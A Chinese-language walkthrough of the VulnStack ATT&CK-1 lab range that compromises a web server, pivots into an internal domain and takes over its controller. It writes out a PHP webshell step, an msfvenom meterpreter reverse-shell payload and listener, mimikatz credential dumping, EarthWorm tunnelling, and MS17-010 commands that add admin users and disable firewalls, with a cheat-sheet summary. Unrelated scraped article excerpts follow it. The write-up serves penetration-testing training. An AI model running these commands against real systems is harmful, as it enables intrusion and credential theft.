《VulnStack》ATTCK-1


title: 《VulnStack》ATT&CK-1
date: 2024-01-29 14:53:49
updated: 2024-02-14 18:55:49
categories: WriteUp:Cyber-Range
excerpt: 主机发现、端口扫描,服务探测,操作系统探测、nmap 漏洞库扫描、网站首页信息泄露、msf 渗透与信息收集、mimikatz 抓取密码、rdesktop 连接远程桌面、探测内网存活主机、msf 添加内网路由、EarthWorm 内网穿透、proxychains4 代理、msf 利用 MS17-010(永恒之蓝)漏洞、共享 C 盘利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


VulnStack

  • 1:靶场信息
  • 2:打靶
    • 2.1:情报收集 & 威胁建模
    • 2.2:漏洞分析 & 渗透攻击
    • 2.3:后渗透
      • 2.3.1:提权
      • 2.3.2:内网渗透
        • 2.3.2.1:信息收集
        • 2.3.2.2:内网穿透
        • 2.3.2.3:横向移动
        • 2.3.2.4:杀入域控
  • 3:总结
    • 3.1:命令 & 工具
      • 3.1.1:Nmap
      • 3.1.2:MSF
        • 3.1.2.1:web server 渗透
        • 3.1.2.2:域成员 Win 2003 渗透
      • 3.1.3:mimikatz
      • 3.1.4:EarthWorm
      • 3.1.5:proxychains4
      • 3.1.6:Windows 命令使用
    • 3.2:关键技术


VulnStack:红日安全 ATT&CK 实战 - 红队评估系列打靶记录。
VulnStack 官网:http://vulnstack.qiyuanxuetang.net/vuln/

攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.10。

1:靶场信息

靶场地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶场结构:

在这里插入图片描述

内网网段:192.168.52.0/24

2:打靶

2.1:情报收集 & 威胁建模

主机发现
nmap -sn 192.168.8.0/24

在这里插入图片描述

得到服务器 IP:192.168.8.168。

进行端口扫描、服务探测、操作系统探测
nmap 192.168.8.168 -p- -sV -sC -O -oN nmap-scan.txt

┌──(root㉿kali)-[~/Desktop/att&ck-1]
└─# nmap 192.168.8.168 -p- -sV -sC -O -oN nmap-scan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-02 22:13 HKT
Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 35.15% done; ETC: 22:15 (0:01:29 remaining)
Nmap scan report for 192.168.8.168
Host is up (0.00065s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
5357/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
MAC Address: 00:0C:29:69:9D:AD (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8.1|Phone|Vista|2008|7 (92%)
OS CPE: cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8
Aggressive OS guesses: Microsoft Windows 8.1 R1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (92%), Microsoft Windows Embedded Standard 7 (92%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (91%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 (87%), Microsoft Windows Server 2008 R2 SP1 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.46 seconds

访问网站,直接泄露了 php 探针…

在这里插入图片描述

但其实网站首页应该是这个:http://192.168.8.168/yxcms/

访问网站首页,在公告处泄露了后台信息:

在这里插入图片描述

用 nmap 的漏洞库对端口进行扫描
nmap 192.168.8.168 --script=vuln -p 80,5357 -oN nmap-vuln.txt

# Nmap 7.94SVN scan initiated Tue Jan  2 22:26:35 2024 as: nmap --script=vuln -p 80,5357 -oN nmap-vuln.txt 192.168.8.168
Nmap scan report for 192.168.8.168
Host is up (0.00058s latency).PORT     STATE SERVICE
80/tcp   open  http
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.8.168:80/l.php?act=Function%27%20OR%20sqlspider
|     http://192.168.8.168:80/l.php?act=phpinfo%27%20OR%20sqlspider
|     http://192.168.8.168:80/l.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000%27%20OR%20sqlspider
|     http://192.168.8.168:80/l.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42%27%20OR%20sqlspider
|     http://192.168.8.168:80/l.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42%27%20OR%20sqlspider
|     http://192.168.8.168:80/l.php?act=Function%27%20OR%20sqlspider
|     http://192.168.8.168:80/l.php?act=phpinfo%27%20OR%20sqlspider
|   Possible sqli for forms:
|     Form at path: /, form's action: /l.php#bottom. Fields that might be vulnerable:
|       host
|       port
|       login
|       funName
|     Form at path: /l.php, form's action: /l.php#bottom. Fields that might be vulnerable:
|       host
|       port
|       login
|_      funName
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.8.168
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.8.168:80/
|     Form id: 
|     Form action: /l.php#bottom
|     
|     Path: http://192.168.8.168:80/l.php
|     Form id: 
|_    Form action: /l.php#bottom
| http-phpself-xss: 
|   VULNERABLE:
|   Unsafe use of $_SERVER["PHP_SELF"] in PHP files
|     State: VULNERABLE (Exploitable)
|       PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
|              
|     Extra information:
|       
|   Vulnerable files with proof of concept:
|     http://192.168.8.168/l.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
|   Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.8.168
|     References:
|       https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
|_      http://php.net/manual/en/reserved.variables.server.php
| http-enum: 
|   /phpinfo.php: Possible information file
|   /phpmyadmin/: phpMyAdmin
|   /phpMyAdmin/: phpMyAdmin
|_  /PHPMyAdmin/: phpMyAdmin
5357/tcp open  wsdapi
MAC Address: 00:0C:29:69:9D:AD (VMware)# Nmap done at Tue Jan  2 22:27:59 2024 -- 1 IP address (1 host up) scanned in 84.04 seconds

探测到了 sql 注入与 phpmyadmin 后台。不过决定先尝试一下其他方法。

2.2:漏洞分析 & 渗透攻击

根据网站泄露的信息直接访问网站后台:http://192.168.8.168/yxcms/index.php?r=admin

在这里插入图片描述

直接进入了后台。

在这里插入图片描述

功能很多啊。这里发现 “ 前台模板 ” 处可以直接编辑 php 文件。

在这里插入图片描述

在这里插入图片描述

在首页随便点击几个板块,找到了该 CMS 模板名称与 url 的关系。

在这里插入图片描述

这里就选择 photo_index.php 写入一句话木马。

在这里插入图片描述

再次访问板块可以发现木马已执行。

在这里插入图片描述

使用蚁剑连接:

在这里插入图片描述

2.3:后渗透

2.3.1:提权

先利用蚁剑的虚拟终端随便查看一下信息。

在这里插入图片描述

直接就是 admin 账户,很省事,方便提权至 system。

那就先试试反弹 shell。这里使用 metasploit 生成后门文件,然后上传至目标机器反弹 shell。

msf,启动!
msfdb init && msfconsole

查看一下 Windows 反弹 shell 的相关工具。
search windows/meterpreter/reverse_tcp

在这里插入图片描述

可以查看一下相关参数。

在这里插入图片描述

生成 Windows 后门程序(Windows 载荷):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.15 LPORT=7777 -f exe -o '/root/Desktop/att&ck-1/shell.exe'

在这里插入图片描述

msf 配置启动监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.15
set lport 7777
show options
exploit

在这里插入图片描述

将刚才生成的 Windows 后门程序 shell.exe 通过蚁剑上传到目标机器并运行。

在这里插入图片描述

在这里插入图片描述

成功反弹 shell。

在这里插入图片描述

执行 post/windows/manage/enable_rdp 模块,关闭防火墙并启用远程桌面
run post/windows/manage/enable_rdp

在这里插入图片描述

使用 rdesktop 打开远程桌面。可以看到控制成功。
rdesktop 192.168.8.168

在这里插入图片描述

查看用户,提权
getuid
getsystem

在这里插入图片描述

2.3.2:内网渗透

2.3.2.1:信息收集

为内网的渗透做一些准备。后渗透阶段的信息收集包括但不限于以下操作:

使用 msf 模块进行信息收集

run post/windows/gather/enum_patches         # 查询补丁信息
run post/windows/gather/enum_applications    # 查询已安装软件
run get_local_subnets                        # 查看路由信息

在这里插入图片描述

使用 Windows 下命令进行信息收集

wmic os get osarchitecture                # 查看系统架构
ipconfig /all                             # 查询本机IP段,所在域等
route print                               # 路由信息 
net config workstation                    # 当前计算机名,用户名,系统版本,工作站域    
net user                                  # 本机用户列表   
net user /domain                          # 当前域下本机的所有用户 
net localgroup administrators             # 本机管理员[通常含有域用户]    
net view                                  # 查看域信息/局域网内其他主机    
net view /domain                          # 查询主域信息   
net time /domain                          # 判断主域
net start                                 # 查看开启了哪些服务
net share                                 # 查看开启了哪些共享        
net group "domain controllers" /domain    # 查看域控制器组
net group "domain computers" /domain      # 查看域中的其他主机
net group "domain admins" /domain         # 尝试查询域管理员的名字

《Windows 判断是否存在域,搜集域内基本信息》
https://blog.csdn.net/qq_36279445/article/details/110647055

另外,如果遇到乱码问题,在 Windows shell 中执行 chcp 65001 可以缓解部分乱码问题。

chcp 是 Windows 中的命令,用于改变当前控制台的代码页(code page)。65001 则是特定的表示 UTF-8 编码的代码页。
chcp 65001 的作用是将当前控制台的代码页设置为 UTF-8。(将部分输出转换为英文)
Windows 中,默认代码页通常根据系统区域设置而确定,而不是总是设置为 UTF-8。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

确定了域控主机名:OWA。IP:192.168.52.138。

以上是一些基础的信息收集,下面进行进一步的信息收集。

抓取目标机器上的密码 Hash

hashdump 已经过时了,不过可以使用 post/windows/gather/smart_hashdump 模块。

在这里插入图片描述

抓取密码 Hash
run windows/gather/smart_hashdump

在这里插入图片描述

虽然抓到了密码 hash,不过根据结果来看并没有解密成功。

那就上传 mimikatz 来抓取密码。(实战中需要做免杀处理)

kali 自带 mimikatz:/usr/share/windows-resources/mimikatz/

确定一下目标机器的系统版本
wmic os get osarchitecture

在这里插入图片描述

通过 msf 上传 mimikatz 至目标机器指定位置。
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe c:\\

在这里插入图片描述

在这里插入图片描述

提升 mimikatz 权限
privilege::debug

抓取密码
sekurlsa::logonpasswords

在这里插入图片描述

成功获取 GOD 域下 Administrator(域管理员)的明文密码:hongri@2023

接下来进一步渗透内网(横向移动),对域中其他主机进行渗透。这里服务器为已被控制的机器。

2.3.2.2:内网穿透

通过 msf 借助服务器使用 ping 命令探测内网存活主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

在这里插入图片描述

探测到几台主机,给 msf 添加内网路由,进行下一步渗透。

MSF 跳板功能是 MSF 框架中自带的一个路由转发功能。实现过程就是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往 “ 内网 ” 的路由,以此直接使用 MSF 去访问原本不能直接访问的内网资源。

通过已控制的 session 添加内网路由
route add 192.168.52.141 255.255.255.0 4

在这里插入图片描述

添加成功。

也可以添加全网段路由,这样可以访问被控机器可达的所有地址:
route add 0.0.0.0 0.0.0.0 <session id>

测试一下,使用 post/windows/gather/arp_scanner 模块扫描内网主机。
run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

在这里插入图片描述

现在 msf 已经可以通信到内网其他主机,为了让攻击机上的其他工具可以通信到内网其他主机,需要设置代理。

这里用 EarthWorm 做 Socks5 代理作为跳板进入内网。

也可以借助已获取内网通信的 msf 来设置 sock4a 代理,使攻击机其他工具通信到内网。参考:
《ATT&CK红队评估实战靶场-1》:
https://blog.csdn.net/qq_40638006/article/details/122033546

内网穿透工具 EarthWorm(EW)项目地址:
https://github.com/idlefire/ew

后来发现 ew 已经停止更新很久了。。。在这里补充一些内网渗透的知识和工具。
《内网穿透常用方法系列总结》:
https://blog.csdn.net/m0_64910183/article/details/129211220
《几款实用的内网穿透工具》:
https://blog.csdn.net/MachineGunJoe/article/details/129385096
《内网安全:内网穿透详解》:
https://blog.csdn.net/qq_61553520/article/details/131037631

下载 EW 后将相应版本上传到主机。(已控制的服务器为 Win7)

在这里插入图片描述

通过 msf 上传到 win7 受害主机。
upload '/root/Desktop/att&ck-1/ew_for_Win.exe' c:\\

在这里插入图片描述

给攻击机上的 ew 添加可执行权限并监听等待连接(真实情况下可借助 VPS)。

chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

在这里插入图片描述

在 win7 上启动 socks5 服务器反弹到攻击机上(真实情况下反弹至 VPS 的 IP)。
ew_for_Win.exe -s rssocks -d 192.168.8.15 -e 1234

在这里插入图片描述

这样就建立了一条通信通道。使用 proxychains4 作为代理

proxychains4 配置文件 /etc/proxychains4.conf。配置代理。

在这里插入图片描述

测试一下内网穿透。
proxychains4 nmap -p 3389,21,445 -Pn -sT 192.168.52.141

在这里插入图片描述

成功。

这里使用的是 socks5 协议,支持 TCP/UDP 等,但不支持 ICMP,即不能使用 ping。所以 nmap 必须加上参数 -Pn-sT

proxychain4 会输出一些超时错误信息,不方便查看,可以加上参数 -q 使用安静模式。
proxychains4 -q nmap -p 3389,21,445 -Pn -sT 192.168.52.141

在这里插入图片描述

也可以将错误信息重定向。
proxychains4 nmap -p 3389,21,445 -Pn -sT 192.168.52.141 2>/dev/null

在内网信息收集时已经确定域控为 192.168.52.138。那就先渗透身为域成员的 192.168.52.141。

2.3.2.3:横向移动

由于通过代理,nmap 使用 TCP 扫描,速度比较慢,先简单扫描一下内网主机。这里先对 192.168.52.141 下手。

nmap 扫描

proxychains4 -q nmap 192.168.52.141 -Pn -sT --top-ports 200

在这里插入图片描述

proxychains4 -q nmap 192.168.52.141 -Pn -sT -O

在这里插入图片描述

proxychains4 -q nmap 192.168.52.141 -Pn -sT -p 21,445,3389

在这里插入图片描述

可以看到 3389 端口关闭,nmap 的 OS 探测模棱两可。445 端口开启,可以使用 msf 的 auxiliary/scanner/smb/smb_version 模块探测下操作系统版本。

use auxiliary/scanner/smb/smb_version
set rhost 192.168.52.141
run

在这里插入图片描述

可以确定 192.168.52.141 为 Win 2003。

445 端口开启,可以尝试利用 MS17-010(永恒之蓝)漏洞。
search ms17-010

在这里插入图片描述

使用 auxiliary/scanner/smb/smb_ms17_010 模块检测,发现 MS17-010 可利用。

使用 auxiliary/admin/smb/ms17_010_command 模块执行命令将目标 3389 端口开启。

use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run

在这里插入图片描述

在这里插入图片描述

再次扫描 3389 端口可以发现开放。

在这里插入图片描述

此时已经可以通过远程桌面登录。

在这里插入图片描述

这里可以尝试使用 exploit/windows/smb/ms17_010_psexec 模块获取一个 shell。不过此模块需要指定一个管理员用户才能更好利用,所以先用 auxiliary/admin/smb/ms17_010_command 模块添加一个管理员用户。

添加用户 bob:

use auxiliary/admin/smb/ms17_010_command
show options
set COMMAND net user bob 123.com /add
set RHOST 192.168.52.141
run

在这里插入图片描述

将用户 bob 添加至管理员组:

set COMMAND net localgroup administrators bob /add
run

在这里插入图片描述

查看一下结果:

set COMMAND net localgroup administrators
run

在这里插入图片描述

然后使用 exploit/windows/smb/ms17_010_psexec 模块尝试获得 session,不过尝试都失败了。

在这里插入图片描述

那就只能尝试 auxiliary/admin/smb/ms17_010_command 模块,借助内网隧道,利用 powershell 等方法反弹一个 cmd。这里就先不尝试了,总之 192.168.52.141 这台主机算是拿下了。

2.3.2.4:杀入域控

之前已经知道域控 ip 为 192.168.52.138。先 nmap 探测一下。
proxychains4 -q nmap 192.168.52.138 -Pn -sT --top-ports 200

在这里插入图片描述

用 msf 的 auxiliary/scanner/smb/smb_version 模块探测下操作系统版本。

use auxiliary/scanner/smb/smb_version
set rhost 192.168.52.138
run

在这里插入图片描述

再使用 auxiliary/scanner/smb/smb_ms17_010 模块扫描是否可利用永恒之蓝。

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.138
run

在这里插入图片描述

尝试利用。

use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.138
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run

但 3389 端口开启失败。不过永恒之蓝漏洞确实是可以利用的。

在这里插入图片描述

查看了一下系统架构。

在这里插入图片描述

内网下某些漏洞利用模块似乎无法使用。

不过可以看到域控共享了 c 盘。

在这里插入图片描述

可以通过 Win7 上传文件至域控。

net use \\192.168.52.138\c$ "hongri@2023" /user:"administrator"
copy <file> \\192.168.52.138\c$
dir \\192.168.52.138\c$

在这里插入图片描述

不过尝试了多种方法也没有直接取得 shell。(主要是尝试正向连接,反弹连接应该是不用想了,主要是内网穿透工具的限制)

尝试关闭防火墙。
set command 'chcp 65001 && netsh advfirewall set allprofiles state off'

在这里插入图片描述

成功。。

然后 nc 就可以连上了。。。(虽然没有取得 shell)

在这里插入图片描述

之后远程桌面 3389 端口也可以打开了。

在这里插入图片描述

在这里插入图片描述

至此算是拿下域控了。之前耗了很大精力各种尝试,却忘了可以直接对防火墙下手。。。已经在崩溃边缘徘徊了。。。

就不重复尝试获取 shell 了。这里挂个参考文章。

《ATT&CK红队评估实战靶场-1》
https://blog.csdn.net/qq_40638006/article/details/122033546

3:总结

作为第一个内网靶场,说难也难,说简单也不简单。╮(︶﹏︶")╭ 鬼知道我经历了什么

3.1:命令 & 工具

  • nmap
  • 蚁剑
  • msf
  • rdesktop
  • mimikatz
  • EarthWorm
  • proxychains4
  • netcat

3.1.1:Nmap

部分选项

参数介绍
-snPing Scan - disable port scan
-sVProbe open ports to determine service/version info
-sCequivalent to --script=default
-PnTreat all hosts as online -- skip host discovery
-sS/sT/sA/sW/sMTCP SYN/Connect()/ACK/Window/Maimon scans
--top-ports <num>Scan <num> most common ports

部分命令

目标信息扫描,进行端口扫描、服务探测、操作系统探测,并保存:
nmap <target> -p- -sV -sC -O -oN nmap-scan.txt

目标漏洞扫描,用 nmap 的漏洞库对端口进行扫描:
nmap <target> --script=vuln -p <port>

3.1.2:MSF

以该靶场为例介绍 MSF。

初始化 msf 数据库并启动

msfdb init && msfconsole
3.1.2.1:web server 渗透

查看 Windows 反弹 shell 的相关工具

search windows/meterpreter/reverse_tcp

生成 Windows 后门程序(Windows 载荷),反弹 shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o '<exe file>'

msf 配置启动监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost <ip>
set lport <port>
exploit

将生成的 exe 后门程序通过蚁剑上传到目标机器并运行

后渗透 & 后渗透模块使用

getuid                                                  # 查看用户
getsystem                                               # 提权
run post/windows/manage/enable_rdp                      # 关闭防火墙并启用远程桌面
run post/windows/gather/enum_patches                    # 查询补丁信息
run post/windows/gather/enum_applications               # 查询已安装软件
run post/windows/gather/arp_scanner RHOSTS=<ip cidr>    # arp 内网扫描(需添加内网路由)
run get_local_subnets                                   # 查看路由信息
run windows/gather/smart_hashdump                       # 抓取密码 Hash
upload <file> <path>                                    # 上传文件至目标机器

通过已控制的 session 添加内网路由

  1. 将获取的 session 挂到后台。
    background
  2. 查看路由:
    route print
  3. 添加内网路由:route add <ip> <mask> <session id>

如下添加全网段路由,可以访问被控机器可达的所有地址:
route add 0.0.0.0 0.0.0.0 <session id>

3.1.2.2:域成员 Win 2003 渗透

445 端口开启,可以使用相应模块探测操作系统版本

use auxiliary/scanner/smb/smb_version
set rhost 192.168.52.141
run

445 端口开启,可以尝试利用 MS17-010(永恒之蓝)漏洞

search ms17-010
# 可以使用 auxiliary/scanner/smb/smb_ms17_010 模块检测 MS17-010 是否可利用。
# 使用以下模块执行命令将目标 3389 端口开启。
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run

3.1.3:mimikatz

kali 自带 mimikatz:/usr/share/windows-resources/mimikatz/

mimikatz 提升权限
privilege::debug

抓取密码
sekurlsa::logonpasswords

3.1.4:EarthWorm

内网穿透工具 EarthWorm(EW)项目地址
https://github.com/idlefire/ew

ew 已经停止更新很久了。这里补充一些内网渗透的知识和工具。

《内网穿透常用方法系列总结》:
https://blog.csdn.net/m0_64910183/article/details/129211220

《几款实用的内网穿透工具》:
https://blog.csdn.net/MachineGunJoe/article/details/129385096

《内网安全:内网穿透详解》:
https://blog.csdn.net/qq_61553520/article/details/131037631

3.1.5:proxychains4

proxychains4 配置文件:/etc/proxychains4.conf。

部分命令

基本使用:
proxychains4 <command>

使用安静模式:
proxychains4 -q <command>

3.1.6:Windows 命令使用

chcp 65001                                       # 将当前控制台代码页设置为 UTF-8
ipconfig /all                                    # 查询本机 ip 段,所在域等
route print                                      # 路由信息 
netsh advfirewall set allprofiles state off      # 关闭系统防火墙
wmic os get osarchitecture                       # 查看系统架构
net config workstation                           # 当前计算机名,用户名,系统版本,工作站域    
net user                                         # 本机用户列表   
net user /domain                                 # 当前域下本机的所有用户 
net user <username> <password> /add              # 添加一个用户
net localgroup administrators <username> /add    # 将用户添加至管理员组
net localgroup administrators                    # 查看本机管理员(通常含有域用户)    
net view                                         # 查看域信息 / 局域网内其他主机    
net view /domain                                 # 查询主域信息   
net time /domain                                 # 判断主域
net start                                        # 查看开启了哪些服务
net share                                        # 查看开启了哪些共享        
net group "domain controllers" /domain           # 查看域控制器组
net group "domain computers" /domain             # 查看域中的其他主机
net group "domain admins" /domain                # 尝试查询域管理员的名字

使用 ping 命令探测内网存活主机(以 192.168.52.0/24 为例):

# for /L %I in (1,1,254) DO @ping -w 1 -n 1 xxx.xxx.xx.%I | findstr "TTL="
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

开启远程桌面服务(3389 端口)

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在本地系统上映射远程计算机的共享文件夹(以共享 C 盘为例):

# net use \\<ip>\<path> "<password>" /user:"<username>"
net use \\192.168.52.138\c$ "hongri@2023" /user:"administrator"

将文件复制到远程计算机的共享文件夹中

copy <file> \\<ip>\<path>

查看远程计算机的共享文件夹

dir \\<ip>\<path>

3.2:关键技术

  • 主机发现
    nmap -sn <ip cidr>

  • 目标信息扫描,进行端口扫描、服务探测、操作系统探测:
    nmap <target> -p- -sV -sC -O

  • 目标漏洞扫描,用 nmap 的漏洞库对端口进行扫描:
    nmap <target> --script=vuln -p <port>

  • 网站首页信息泄露

  • 网站后台登录,写入一句话木马,蚁剑连接。

  • msf 渗透 web 服务器, 并对 web 服务器进行信息收集

  • mimikatz 抓取密码

  • rdesktop 连接远程桌面
    rdesktop <ip>

  • msf 借助服务器使用 ping 命令探测内网存活主机

  • msf 通过已控制的 session 添加内网路由

  • 使用 EarthWorm 进行内网穿透,做 Socks5 代理作为跳板进入内网。

  • 使用 proxychains4 作为代理
    proxychains4 -q <command>

  • msf 渗透域成员(win2003),MS17-010(永恒之蓝)漏洞利用。

  • msf 渗透域控(win2008),MS17-010(永恒之蓝)漏洞利用,共享 C 盘利用。


人生亦有命,安能行叹复坐愁?

——《拟行路难 · 其四》(南北朝)鲍照

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/472037.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

题解37-42

101. 对称二叉树 - 力扣&#xff08;LeetCode&#xff09; 给你一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 示例 1&#xff1a; 输入&#xff1a;root [1,2,2,3,4,4,3] 输出&#xff1a;true示例 2&#xff1a; 输入&#xff1a;root [1,2,2,null,3,nul…

P1219 八皇后 (dfs 表格坐标关系)

一个正常的dfs&#xff08;数据范围1-13&#xff09;&#xff0c;发现一条对角线上&#xff0c;分别符合和与差相等。因为有负数&#xff0c;这里我最开始开的是map&#xff0c;发现卡了最后一个点TLE&#xff0c;记录一下时间复杂度&#xff08; map&#xff0c;set的时间复杂…

前端工程化面试题 | 09.精选前端工程化高频面试题

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

图像卷积、步长、填充、特征图、多通道卷积、权重共享、感受野、池化

图像卷积、步长、填充、特征图、多通道卷积、权重共享、感受野、池化 卷积神经网络的一些基本概念&#xff1a;图像卷积、步长、填充、特征图、多通道卷积、权重共享、感受野、池化 1.图像卷积、步长、填充 图像卷积&#xff1a;卷积核矩阵在一个原始图像矩阵上 “从上往下、…

MessageQueue --- RabbitMQ

MessageQueue --- RabbitMQ RabbitMQ IntroRabbitMQ 核心概念RabbitMQ 分发类型Dead letter (死信)保证消息的可靠传递 RabbitMQ Intro 2007年发布&#xff0c;是一个在AMQP&#xff08;高级消息队列协议&#xff09;基础上完成的&#xff0c;可复用的企业消息系统&#xff0c;…

35岁转行,是我人生中最正确的选择

前言 经常听到有人说&#xff0c;35岁是职场的分水岭&#xff0c;但我觉得我的35岁&#xff0c;人生才刚刚开始。 35岁前后&#xff0c;我生二胎&#xff0c;考研&#xff0c;跳槽&#xff0c;转行&#xff0c;从传统行业到服务业&#xff0c;从服务业到新能源行业&#xff0…

【简写MyBatis】01-简单映射器

前言 新开一个坑&#xff0c;为了学习一下MyBatis的源码&#xff0c;写代码是次要的&#xff0c;主要为了吸收一下其中的思想和手法。 目的 关联对象接口和映射类的问题&#xff0c;把 DAO 接口使用代理类&#xff0c;包装映射操作。 知识点 动态代理简单工厂模式Invocati…

嵌入式Linux平台大文件生成以及处理方法

在日常工作中&#xff0c;为了验证某些场景下的功能&#xff0c;经常需要人为构造一些大文件进行测试&#xff0c;有时需要用大文件来测试下载速度&#xff0c;有时需要用大文件来覆盖磁盘空间&#xff1b;偶尔会看到一些网络博文会教大家如何构造大文件&#xff1b;但是当需要…

大整数因数分解工具——yafu

一、安装 yafu--下载链接 二、配置环境变量&#xff0c;直接从cmd打开 1.找到yafu-x64.exe 所在的文件路径 2.点击设置——系统——系统信息——高级系统设置——环境变量——点击PATH&#xff08;上下都可以&#xff09;——新建 添加yafu-x64.exe 所在路径——点击确定 3…

《Go 简易速速上手小册》第1章:Go 语言基础(2024 最新版)

文章目录 1.1 Go 语言的安装与环境配置1.1.1 基础知识讲解案例 Demo&#xff1a;简单的 Go 程序 1.1.2 重点案例&#xff1a;搭建一个 Go Web 服务准备工作步骤 1&#xff1a;创建项目目录步骤 2&#xff1a;编写 Web 服务代码步骤 3&#xff1a;运行你的 Web 服务步骤 4&#…

迟到的2023年终总结

前言 转眼间就进入工作的第三年了&#xff0c;过去的一年&#xff0c;过的格外的快。回身一想&#xff0c;也确实&#xff0c;毕竟有半年都是在值班室度过的&#xff0c;五六场HW演练&#xff0c;从春夏交接忙到到秋冬交接。但生活绝不只有工作&#xff0c;工作只是为了更好的…

Linux下的自动化任务与计划任务:让你的系统更智能

在日常的Linux系统管理中&#xff0c;你是否经常需要定时执行某些任务&#xff0c;或者希望在系统启动时自动运行某些脚本&#xff1f;如果是的话&#xff0c;那么自动化任务和计划任务将是你的得力助手。它们可以帮助你提高系统效率、减少人工干预&#xff0c;并确保任务能够按…